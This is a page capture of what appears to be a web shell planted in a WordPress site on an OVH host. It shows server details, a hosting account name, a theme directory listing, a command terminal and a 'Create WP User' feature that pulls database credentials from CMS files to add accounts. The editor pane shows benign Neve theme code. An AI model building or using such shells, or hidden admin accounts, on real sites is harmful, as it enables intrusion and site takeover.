Linux webm017.cluster130.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid x86_64
PHP/7.4.33
服务器IP :
10.130.20.17
& 您的IP :
216.73.216.193
域名 :
无法读取 [ /etc/named.conf ]
用户 :
koaigpw
上传
终端
新建文件
新建文件夹
Create WP User
登出
+
/
home
/
koaigpw
/
www
/
wordpress
/
wpn_InfrOps
/
wp-content
/
themes
/
neve
/
inc
/
views
/
partials
/
[ 返回根目录 ]
名称
大小
权限
修改时间
操作
..
-
-
-
comments.php
5.35 KB
-rw-r--r--
2021-05-03 21:18
excerpt.php
2.18 KB
-rw-r--r--
2021-05-03 21:18
post_meta.php
8.37 KB
-rw-r--r--
2021-05-03 21:18
>_
终端
关闭 ✕
输入 'help' 查看可用命令。
koaigpw@
>
新建文件
文件名
取消
创建
重命名
新名称
取消
重命名
Create WordPress User
Auto (baca dari file CMS)
Manual (isi kredensial DB)
代码编辑器 :
excerpt.php
<?php /** * Author: Andrei Baicus <andrei@themeisle.com> * Created on: 28/08/2018 * * @package Neve\Views\Partials */ namespace Neve\Views\Partials; use Neve\Views\Base_View; /** * Class Excerpt * * @package Neve\Views\Partials */ class Excerpt extends Base_View { /** * Function that is run after instantiation. * * @return void */ public function init() { add_action( 'neve_excerpt_archive', array( $this, 'render_post_excerpt' ), 10, 2 ); } /** * Echo the post excerpt. * * @param string $context the provided context in do_action. */ public function render_post_excerpt( $context ) { echo $this->get_post_excerpt( $context ); // phpcs:ignore WordPress.Security.EscapeOutput.OutputNotEscaped } /** * Get the post excerpt. * * @param string $context NOT YET USED. Might come in handily at some later point. * * @return string */ private function get_post_excerpt( $context ) { $length = $this->get_excerpt_lenght(); $output = ''; $output .= '<div class="excerpt-wrap entry-summary">'; $output .= $this->get_excerpt( $length ); $output .= '</div>'; return $output; } /** * Get the excerpt length. * * @param int $length post excerpt length. * * @return string */ private function get_excerpt( $length = 25 ) { global $post; if ( $length === 300 ) { return apply_filters( 'the_content', get_the_content() ); } if ( strpos( $post->post_content, '<!--more-->' ) ) { return apply_filters( 'the_content', get_the_content() ); } if ( has_excerpt() ) { return apply_filters( 'the_excerpt', get_the_excerpt() ); } add_filter( 'excerpt_length', array( $this, 'change_excerpt_length' ), 10 ); $content = get_the_excerpt(); remove_filter( 'excerpt_length', array( $this, 'change_excerpt_length' ), 10 ); return apply_filters( 'the_excerpt', $content ); } /** * Get the excerpt length option casted as `int`. * * @return int */ private function get_excerpt_lenght() { return absint( round( get_theme_mod( 'neve_post_excerpt_length', 25 ) ) ); } /** * Change excerpt length. * * @return int */ public function change_excerpt_length() { return $this->get_excerpt_lenght(); } }
关闭
保存